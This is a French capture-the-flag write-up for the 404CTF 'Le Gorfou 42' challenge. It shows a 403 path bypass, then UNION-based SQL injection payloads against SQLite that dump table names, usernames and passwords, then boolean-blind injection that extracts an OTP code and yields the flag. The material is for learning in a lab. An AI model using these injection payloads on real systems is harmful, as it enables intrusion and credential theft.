Le Gorfou 42
Enoncé
Voici le site web du journal de football LE GORFOU 42 ! Il est tout neuf, dispose de quelques articles intéressants et, est super sécurisé… non ?
Auteur : Asumamusa
Résolution
On a tenter pendant longtemps le champ de recherche ?query (la barre de recherche)
Puis le formulaire de connexion
Puis le crack des cookies de sessions flask après avoir fait /admin et découvert une erreur flask.
Mais toujours rien !
Sur la page admin, on trouve un bypass 403 grâce à Burp Pro ! Mais en faites ça fait juste apparaître la barre de recherche.
Dans le doute je creuse quand même cette page, et bingo !
Enfin un point d’entrée pour une injection SQL : https://le-gorfou-42.challenges.404ctf.fr/%09admin?query=a%27+UNION+SELECT+version%28%29%2Cnull%3B+-+–#
On test un .. code-block:: console
a” UNION SELECT NULL ==> Mauvais nombre de colonne
- a” UNION SELECT NULL,NULL
==> Erreur 500
- a” UNION SELECT NULL,NULL,NULL
==> Mauvais nombre de colonne
- a” UNION SELECT 1,2; - –UNION SELECT NULL,NULL
==> Erreur 500
- a” UNION SELECT « a », »b »–+
==> No colomn « a »
- a” ORDER BY 4–+
==> 1st ORDER BY term out of range - should be between 1 and 2
- a” UNION SELECT sqlite_version(), »a »; - –
==> Pas de fonction sqlite_version
On ne sait toujours pas sur quel SGBD on tente de faire l’injection (Mysql, sqlite, pgsql, …)
Donc on continue de chercher, et c’est bien du sqlite :
a' AND 1=2 UNION SELECT 1, name from sqlite_master--
On est donc sur SQLITE ! Et on a le nom des tables.
Pour avoir le nom des colonnes :
a' AND 1=2 UNION SELECT 1,sql FROM sqlite_master WHERE type = 'table' AND name = 'Xx_US3RS_xX';--
Voici le nom des colonnes :
Username : Xx_US3RNAM3_xX
Password : Xx_PASSW0RD_xX
On va donc récupérer les username :
a' AND 1=2 UNION SELECT 1,Xx_US3RNAM3_xX FROM Xx_US3RS_xX ;--
On obtient ceci : - Xx_ADMINISTRAT0R_xX - journaliste_du_54 - journaliste_du_57
Et maintenant leur mot de passe :
a' AND 1=2 UNION SELECT 1,Xx_PASSW0RD_xX FROM Xx_US3RS_xX ;--
Les mots de passe dans le même ordre :
Mk$nj5KzAE4Rg#
K#fBZM!4A593aN
bQ3M^5RpjzVy^k
On se connecte, et on nous demande un code OTP ! God ! Une autre injection !
Erreur intéressante :
Xx_ADMINISTRAT0R_xX');
==> ERREUR You can only execute one statement at a time.
Xx_ADMINISTRAT0R_xX'); --
==> Code Incorrect
Et on sait que la colonne « code » n’existe pas, mais par contre Xx_C0D3_xX existe bien grâce a ce payload :
Xx_ADMINISTRAT0R_xX' OR code='a' OR '1'='1 --
==> no such table code
Xx_ADMINISTRAT0R_xX' OR Xx_C0D3_xX='a' OR '1'='1 --
==> code incorrect
On va devoir faire du boolean blind : - Quand c’est faux : utilisateur incorrect - Quand c’est vrai : code incorrect
On va essayer d’allez creshendo :
Xx_ADMINISTRAT0R_xX' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < 2) -- # false
Xx_ADMINISTRAT0R_xX' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < 3) -- # true
On récupère la taille du nom de la table :
Xx_ADMINISTRAT0R_xX' and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=1) --
Résultat avec Burp : 11
Bon pi finalement on va exfiltrer le code OTP en reprenant le nom des tables et colonnes connues :
Xx_ADMINISTRAT0R_xX' and (SELECT hex(substr(Xx_C0D3_xX,1,1)) FROM Xx_US3RS_xX WHERE Xx_US3RNAM3_xX='Xx_ADMINISTRAT0R_xX' limit 1 offset 0) > hex('a')) --
On va changer un peu le payload pour plus de précision. On va utiliser « = » plutôt que « > »
Xx_ADMINISTRAT0R_xX' and (SELECT hex(substr(Xx_C0D3_xX,1,1)) FROM Xx_US3RS_xX WHERE Xx_US3RNAM3_xX='Xx_ADMINISTRAT0R_xX' limit 1 offset 0) = hex('a')) --
On met le bon charset dans burp suite :
0123456789abcdefghijklmnopqrstuvwxyz#([-_)$!,'
Et pour chaque caractère on regarde le seul résultat qui donne « Code incorrect » :
Xx_ADMINISTRAT0R_xX' and (SELECT hex(substr(Xx_C0D3_xX,1,1)) FROM Xx_US3RS_xX WHERE Xx_US3RNAM3_xX='Xx_ADMINISTRAT0R_xX' limit 1 offset 0) = hex('a')) --
Xx_ADMINISTRAT0R_xX' and (SELECT hex(substr(Xx_C0D3_xX,2,1)) FROM Xx_US3RS_xX WHERE Xx_US3RNAM3_xX='Xx_ADMINISTRAT0R_xX' limit 1 offset 0) = hex('a')) --
...
Xx_ADMINISTRAT0R_xX' and (SELECT hex(substr(Xx_C0D3_xX,14,1)) FROM Xx_US3RS_xX WHERE Xx_US3RNAM3_xX='Xx_ADMINISTRAT0R_xX' limit 1 offset 0) = hex('a')) --
Le code OTP complet : WS4$4#4G6Pwose
On se connecte et on a le flag :
404CTF{Xx-@LL-MY-H0MI3Z-LUV-SQLI-xX}